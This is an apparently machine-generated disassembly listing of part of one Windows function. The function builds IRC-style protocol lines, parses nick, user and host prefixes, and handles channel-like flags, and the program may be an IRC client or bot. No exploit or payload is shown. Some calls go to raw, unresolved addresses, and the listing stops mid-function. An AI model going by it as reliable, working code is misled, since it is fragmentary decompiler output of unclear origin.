mov [esp+24h+arg_24], edx
mov word ptr [esp+24h+arg_20], 2
mov [esp+24h+arg_28], edx
mov [esp+24h+arg_2C], edx
nop
call near ptr 71AB2B66h
mov ecx, offset byte_4492C9
mov [esp+24h+arg_1E], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
mov [esp+24h+arg_20], eax
call edi
mov edx, [ebp+18h]
lea ecx, [esp+24h+arg_1C]
push 10h
push ecx
push edx
mov [ebp+24h], eax
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
jnz short loc_410288
push 2710h
nop
call near ptr 2850369h
mov eax, [ebp+1Ch]
mov [ebp+15h], bl
inc eax
mov [ebp+1Ch], eax
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410288: ; CODE XREF: sub_410030+23Cj
mov byte ptr [ebp+15h], 1
mov [ebp+16h], bl
call edi
mov [ebp+24h], eax
xor eax, eax
mov [esp+30h+arg_0], eax
lea ecx, [esp+30h+arg_20]
mov [esp+30h+arg_4], eax
lea edx, [esp+30h+arg_0]
mov [esp+30h+arg_8], eax
push ecx
mov [esp+34h+arg_C], eax
mov eax, [ebp+18h]
push edx
push eax
mov [esp+3Ch+arg_20], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+3Ch+var_4+3]
mov edx, [esp+3Ch+var_4+2]
mov eax, [esp+3Ch+var_4+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+40h+var_4]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+4Ch+arg_408]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call sub_5F76F7
add esp, 18h
lea eax, [esp+3Ch+arg_408]
lea ecx, [ebp+3Dh]
push eax
call sub_4015E1
lea ecx, [esp+3Ch+arg_408]
push ecx
call near ptr 71AB2BF4h
nop
push offset byte_448F30
mov ecx, offset byte_44935B
mov [ebp+52h], eax
call sub_4012EE
test eax, eax
jz short loc_410357
mov ecx, offset byte_44935B
call sub_4017EE
mov edx, dword_4490DC
push eax
push edx
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
loc_410357: ; CODE XREF: sub_410030+305j
mov ecx, offset byte_4E8E45
call sub_4017EE
push eax
mov ecx, offset byte_4E8E45
call sub_4017EE
push eax
mov eax, dword_4490E4
push eax
mov ecx, offset byte_4E8E45
call sub_4017EE
mov ecx, dword_4490E0
push eax
push ecx
push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n"
push ebp
call sub_401E24
add esp, 1Ch
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410398: ; CODE XREF: sub_410030+1DBj
mov ecx, 800h
xor eax, eax
lea edi, [esp+20h+arg_464]
push ebx
rep stosd
lea eax, [esp+24h+arg_464]
push 2000h
push eax
push edx
call sub_401280
add esp, 10h
cmp al, bl
jz loc_4113F0
nop
call near ptr 27F0C4Bh
lea ecx, [esp+20h+var_8]
mov [ebp+24h], eax
call sub_401CD0
lea ecx, [esp+20h+arg_464]
push ecx
lea ecx, [esp+24h+var_8]
call sub_401A9B
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_364]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490E8
mov byte ptr [esp+20h+arg_246C], 1
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jnz short loc_410470
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_3F4]
push 4
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset dword_4493A4
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 2
call sub_401B86
test eax, eax
lea ecx, [esp+20h+arg_3F4]
mov byte ptr [esp+20h+arg_246C], 1
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_410474
loc_410470: ; CODE XREF: sub_410030+3EAj
mov [esp+20h+var_D], bl
loc_410474: ; CODE XREF: sub_410030+43Ej
lea ecx, [esp+20h+arg_364]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410496
mov byte ptr [ebp+16h], 1
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410496: ; CODE XREF: sub_410030+45Bj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_F4]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490BC
mov byte ptr [esp+20h+arg_246C], 3
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_F4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
push 1
jz short loc_410534
lea edx, [esp+28h+arg_2A4]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 4
call sub_4017EE
push eax
mov eax, dword_4490D8
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2A4]
jmp loc_410662
; ---------------------------------------------------------------------------
loc_410534: ; CODE XREF: sub_410030+4BAj
lea edx, [esp+28h+arg_124]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016B8
mov ecx, dword_4490C0
mov byte ptr [esp+20h+arg_246C], 5
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_124]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
jz loc_4106A0
lea edx, [esp+24h+arg_40C]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 6
call sub_4012EE
lea ecx, [esp+20h+arg_40C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_4113F7
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_154]
push 11h
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490D8
mov byte ptr [esp+20h+arg_246C], 7
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_154]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410667
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_2D4]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 8
call sub_4017EE
push eax
mov eax, dword_4490D8
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2D4]
loc_410662: ; CODE XREF: sub_410030+4FFj
call sub_401226
loc_410667: ; CODE XREF: sub_410030+5E6j
cmp [ebp+16h], bl
jnz loc_4113F7
mov ecx, offset byte_4493ED
call sub_4017EE
push eax
mov ecx, offset dword_4493A4
call sub_4017EE
mov ecx, dword_4490C4
push eax
push ecx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_4106A0: ; CODE XREF: sub_410030+550j
lea edx, [esp+24h+arg_394]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490F8
mov byte ptr [esp+20h+arg_246C], 9
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_410722
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_184]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490FC
mov byte ptr [esp+20h+arg_246C], 0Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_184]
mov byte ptr [esp+20h+arg_246C], 9
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_410727
loc_410722: ; CODE XREF: sub_410030+69Bj
mov [esp+20h+var_D], 1
loc_410727: ; CODE XREF: sub_410030+6F0j
lea ecx, [esp+20h+arg_394]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410794
cmp [ebp+16h], bl
jnz short loc_410770
mov ecx, offset byte_4493ED
call sub_4017EE
push eax
mov ecx, offset dword_4493A4
call sub_4017EE
mov edx, dword_4490C4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
loc_410770: ; CODE XREF: sub_410030+713j
mov ecx, offset byte_4E8E45
call sub_4017EE
push eax
mov eax, dword_4490CC
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E24
add esp, 10h
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410794: ; CODE XREF: sub_410030+70Ej
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_1B4]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov edx, dword_4490D4
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_1B4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_444600 ; " "
cmp al, bl
jz short loc_410845
lea eax, [esp+24h+arg_94]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+24h+arg_94]
mov byte ptr [esp+24h+arg_246C], 0Ch
call sub_4014DD
push eax
call near ptr 77C47C60h
nop
add esp, 8
cmp eax, ebx
jz short loc_41082D
inc eax
lea ecx, [ebp+28h]
push eax
call sub_4015E1
loc_41082D: ; CODE XREF: sub_410030+7F1j
lea ecx, [esp+20h+arg_94]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410845: ; CODE XREF: sub_410030+7B7j
lea ecx, [esp+24h+arg_304]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov edx, dword_4490D0
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Dh
call sub_4012EE
test eax, eax
jnz short loc_410880
mov al, byte_449804
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_410884
loc_410880: ; CODE XREF: sub_410030+840j
mov [esp+20h+var_D], bl
loc_410884: ; CODE XREF: sub_410030+84Ej
lea ecx, [esp+20h+arg_304]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410B91
push offset asc_444C64 ; ":"
lea eax, [esp+24h+arg_4C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push 96h
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 0Fh
jz short loc_4108E2
mov ecx, eax
call sub_402072
loc_4108E2: ; CODE XREF: sub_410030+8A9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 10h
jz short loc_41090E
mov ecx, eax
call sub_4010BE
loc_41090E: ; CODE XREF: sub_410030+8D5j
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_4C]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_401AAF
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_7C]
push ebx
push ecx
lea ecx, [esp+2Ch+arg_4C]
xor edi, edi
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jz loc_410B7C
loc_41096F: ; CODE XREF: sub_410030+B46j
push 96h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 12h
jz short loc_410997
mov ecx, eax
call sub_402072
mov esi, eax
jmp short loc_410999
; ---------------------------------------------------------------------------
loc_410997: ; CODE XREF: sub_410030+95Aj
xor esi, esi
loc_410999: ; CODE XREF: sub_410030+965j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 13h
jz short loc_4109CB
mov ecx, eax
call sub_4010BE
mov [esp+20h+var_C], eax
jmp short loc_4109CF
; ---------------------------------------------------------------------------
loc_4109CB: ; CODE XREF: sub_410030+98Cj
mov [esp+20h+var_C], ebx
loc_4109CF: ; CODE XREF: sub_410030+999j
push offset aS_2 ; " -s"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4013ED
test eax, eax
jz short loc_4109F2
mov byte ptr [esi+93h], 1
jmp short loc_4109F8
; ---------------------------------------------------------------------------
loc_4109F2: ; CODE XREF: sub_410030+9B7j
mov [esi+93h], bl
loc_4109F8: ; CODE XREF: sub_410030+9C0j
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410A13
mov byte ptr [esi+94h], 1
jmp short loc_410A19
; ---------------------------------------------------------------------------
loc_410A13: ; CODE XREF: sub_410030+9D8j
mov [esi+94h], bl
loc_410A19: ; CODE XREF: sub_410030+9E1j
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410A34
mov byte ptr [esi+95h], 1
jmp short loc_410A3A
; ---------------------------------------------------------------------------
loc_410A34: ; CODE XREF: sub_410030+9F9j
mov [esi+95h], bl
loc_410A3A: ; CODE XREF: sub_410030+A02j
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_1E4]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 14h
call sub_401FDC
lea ecx, [esp+20h+arg_1E4]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset byte_448F30
lea ecx, [esi+54h]
call sub_4015E1
push offset byte_448F30
lea ecx, [esi+3Fh]
call sub_4015E1
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_AC]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 15h
call sub_401FDC
lea ecx, [esp+20h+arg_AC]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset asc_4445EC ; "|"
lea ecx, [esp+24h+arg_214]
push edi
push ecx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 16h
call sub_4017EE
push eax
mov ecx, esi
call sub_4015E1
lea ecx, [esp+20h+arg_214]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
mov ecx, [esp+20h+var_C]
push 1
push esi
call sub_401DFC
cmp esi, ebx
jz short loc_410B29
push 1
mov ecx, esi
call sub_4019E2
loc_410B29: ; CODE XREF: sub_410030+AEEj
mov ecx, [esp+20h+var_C]
call sub_4013DE
inc edi
push offset asc_4445EC ; "|"
lea edx, [esp+24h+arg_7C]
push edi
push edx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016B8
push offset byte_448F30
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jnz loc_41096F
loc_410B7C: ; CODE XREF: sub_410030+939j
lea ecx, [esp+20h+arg_4C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410B91: ; CODE XREF: sub_410030+86Bj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_334]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490C8
mov byte ptr [esp+20h+arg_246C], 17h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_334]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410EAB
push 96h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 18h
jz short loc_410C0B
mov ecx, eax
call sub_402072
mov esi, eax
jmp short loc_410C0D
; ---------------------------------------------------------------------------
loc_410C0B: ; CODE XREF: sub_410030+BCEj
xor esi, esi
loc_410C0D: ; CODE XREF: sub_410030+BD9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], bl
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 19h
jz short loc_410C3C
mov ecx, eax
call sub_4010BE
mov edi, eax
jmp short loc_410C3E
; ---------------------------------------------------------------------------
loc_410C3C: ; CODE XREF: sub_410030+BFFj
xor edi, edi
loc_410C3E: ; CODE XREF: sub_410030+C0Aj
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], bl
call sub_4013ED
test eax, eax
jz short loc_410C60
mov byte ptr [esi+95h], 1
jmp short loc_410C66
; ---------------------------------------------------------------------------
loc_410C60: ; CODE XREF: sub_410030+C25j
mov [esi+95h], bl
loc_410C66: ; CODE XREF: sub_410030+C2Ej
push offset aS_2 ; " -s"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410C81
mov byte ptr [esi+93h], 1
jmp short loc_410C87
; ---------------------------------------------------------------------------
loc_410C81: ; CODE XREF: sub_410030+C46j
mov [esi+93h], bl
loc_410C87: ; CODE XREF: sub_410030+C4Fj
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013ED
test eax, eax
jz short loc_410CA2
mov byte ptr [esi+94h], 1
jmp short loc_410CA8
; ---------------------------------------------------------------------------
loc_410CA2: ; CODE XREF: sub_410030+C67j
mov [esi+94h], bl
loc_410CA8: ; CODE XREF: sub_410030+C70j
push offset asc_444C64 ; ":"
lea edx, [esp+24h+arg_274]
push ebx
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_3C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Ah
call sub_4016B8
push offset asc_444C58 ; "!"
lea edx, [esp+24h+arg_244]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Bh
call sub_4016B8
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 1Ch
call sub_401FDC
lea ecx, [esp+20h+arg_244]
mov byte ptr [esp+20h+arg_246C], 1Bh
call sub_401226
lea ecx, [esp+20h+arg_3C4]
mov byte ptr [esp+20h+arg_246C], 1Ah
call sub_401226
lea ecx, [esp+20h+arg_274]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444C58 ; "!"
lea eax, [esp+24h+arg_DC]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+24h+arg_C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Dh
call sub_4016B8
push eax
lea ecx, [esi+54h]
mov byte ptr [esp+24h+arg_246C], 1Eh
call sub_401FDC
lea ecx, [esp+20h+arg_C4]
mov byte ptr [esp+20h+arg_246C], 1Dh
call sub_401226
lea ecx, [esp+20h+arg_DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset a@ ; "@"
lea edx, [esp+24h+arg_13C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444600 ; " "
lea ecx, [esp+24h+arg_10C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Fh
call sub_4016B8
push eax
lea ecx, [esi+3Fh]
mov byte ptr [esp+24h+arg_246C], 20h
call sub_401FDC
mov byte ptr [esp+20h+arg_246C], 1Fh
lea ecx, [esp+20h+arg_10C]
call sub_401226
lea ecx, [esp+20h+arg_13C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_16C]
push 2
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 21h
call sub_401FDC
lea ecx, [esp+20h+arg_16C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_444C54 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_410E7D
add eax, 2
push eax
jmp short loc_410E82
; ---------------------------------------------------------------------------
loc_410E7D: ; CODE XREF: sub_410030+E45j
push offset byte_448F30
loc_410E82: ; CODE XREF: sub_410030+E4Bj
mov ecx, esi
call sub_4015E1
push ebx
push esi
mov ecx, edi
call sub_401DFC
cmp esi, ebx
jz short loc_410E9F
push 1
mov ecx, esi
call sub_4019E2
loc_410E9F: ; CODE XREF: sub_410030+E64j
mov ecx, edi
call sub_4013DE
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410EAB: ; CODE XREF: sub_410030+BADj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_19C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490EC
mov byte ptr [esp+20h+arg_246C], 22h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_19C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411080
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov edx, esp
mov [esp+38h+var_C], esp
push offset asc_444600 ; " "
push 3
push edx
call sub_4016B8
mov ecx, offset word_44AC5E
call sub_401CE4
cmp eax, ebx
jz short loc_410F72
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov eax, esp
mov [esp+38h+var_C], esp
push offset asc_444600 ; " "
push 3
push eax
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 23h
mov ecx, esp
mov [esp+50h+arg_C], esp
push offset asc_444600 ; " "
push 3
push ecx
lea ecx, [esp+5Ch+var_8]
call sub_4016B8
mov ecx, offset word_44AC5E
mov byte ptr [esp+50h+arg_246C], bl
call sub_40212B
loc_410F72: ; CODE XREF: sub_410030+EF3j
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_1CC]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset byte_4E8E45
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 24h
call sub_401B86
test eax, eax
lea ecx, [esp+20h+arg_1CC]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_4113F7
push offset asc_444C64 ; ":"
lea eax, [esp+24h+arg_22C]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444C58 ; "!"
lea ecx, [esp+24h+arg_1FC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 25h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 26h
call sub_4017EE
push eax
lea ecx, [esp+24h+arg_25C]
call sub_401870
lea ecx, [esp+20h+arg_1FC]
mov byte ptr [esp+20h+arg_246C], 29h
call sub_401226
lea ecx, [esp+20h+arg_22C]
mov byte ptr [esp+20h+arg_246C], 28h
call sub_401226
mov ecx, offset byte_4493ED
mov [ebp+16h], bl
call sub_4017EE
push eax
mov ecx, offset dword_4493A4
call sub_4017EE
mov edx, dword_4490C4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E24
add esp, 14h
lea ecx, [esp+20h+arg_25C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_411080: ; CODE XREF: sub_410030+EC7j
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_28C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490E0
mov byte ptr [esp+20h+arg_246C], 2Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_28C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411238
push offset asc_444C64 ; ":"
lea edx, [esp+24h+arg_2EC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
push offset asc_444C58 ; "!"
lea ecx, [esp+24h+arg_2BC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 2Bh
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 2Ch
call sub_4017EE
push eax
lea ecx, [esp+24h+arg_34]
call sub_401870
lea ecx, [esp+20h+arg_2BC]
mov byte ptr [esp+20h+arg_246C], 2Fh
call sub_401226
lea ecx, [esp+20h+arg_2EC]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
push offset asc_444C54 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
mov esi, dword_511B04
push eax
call esi ; strstr
add esp, 8
test eax, eax
jz loc_411223
push offset asc_444C54 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014DD
push eax
call esi ; strstr
add esp, 8
lea ecx, [esp+20h+arg_64]
push eax
call sub_401870
push offset byte_448F30
lea ecx, [esp+24h+arg_34]
mov byte ptr [esp+24h+arg_246C], 30h
call sub_4012EE
test eax, eax
jz short loc_41120F
push offset byte_448F30
lea ecx, [esp+24h+arg_64]
call sub_4012EE
test eax, eax
jz short loc_41120F
sub esp, 18h
lea edx, [esp+38h+arg_34]
mov ecx, esp
mov [esp+38h+arg_C], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC5E
call sub_401CE4
cmp eax, ebx
jz short loc_4111EB
lea ecx, [esp+20h+arg_64]
push ecx
lea ecx, [eax+19h]
call sub_401FDC
loc_4111EB: ; CODE XREF: sub_410030+11A9j
push offset byte_4E8E45
lea ecx, [esp+24h+arg_34]
call sub_401B86
test eax, eax
jnz short loc_41120F
lea edx, [esp+20h+arg_64]
mov ecx, offset byte_4E8E45
push edx
call sub_401FDC
loc_41120F: ; CODE XREF: sub_410030+1173j
; sub_410030+1188j ...
lea ecx, [esp+20h+arg_64]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
loc_411223: ; CODE XREF: sub_410030+1134j
lea ecx, [esp+20h+arg_34]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_411238: ; CODE XREF: sub_410030+109Cj
push offset asc_444600 ; " "
lea eax, [esp+24h+arg_34C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_4490F0
mov byte ptr [esp+20h+arg_246C], 31h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_4112BF
push offset asc_444600 ; " "
lea edx, [esp+24h+arg_31C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
mov ecx, dword_449100
mov byte ptr [esp+20h+arg_246C], 32h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_31C]
mov byte ptr [esp+20h+arg_246C], 31h
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_4112C4
loc_4112BF: ; CODE XREF: sub_410030+1238j
mov [esp+20h+var_D], 1
loc_4112C4: ; CODE XREF: sub_410030+128Dj
lea ecx, [esp+20h+arg_34C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_4113F7
push offset asc_444C64 ; ":"
lea edx, [esp+24h+arg_37C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 33h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_444C58 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
mov ecx, offset word_44AC5E
call sub_401CE4
lea ecx, [esp+20h+arg_37C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_4113F7
push offset asc_444C64 ; ":"
lea edx, [esp+24h+arg_3DC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 34h
mov ecx, esp
mov [esp+38h+arg_C], esp
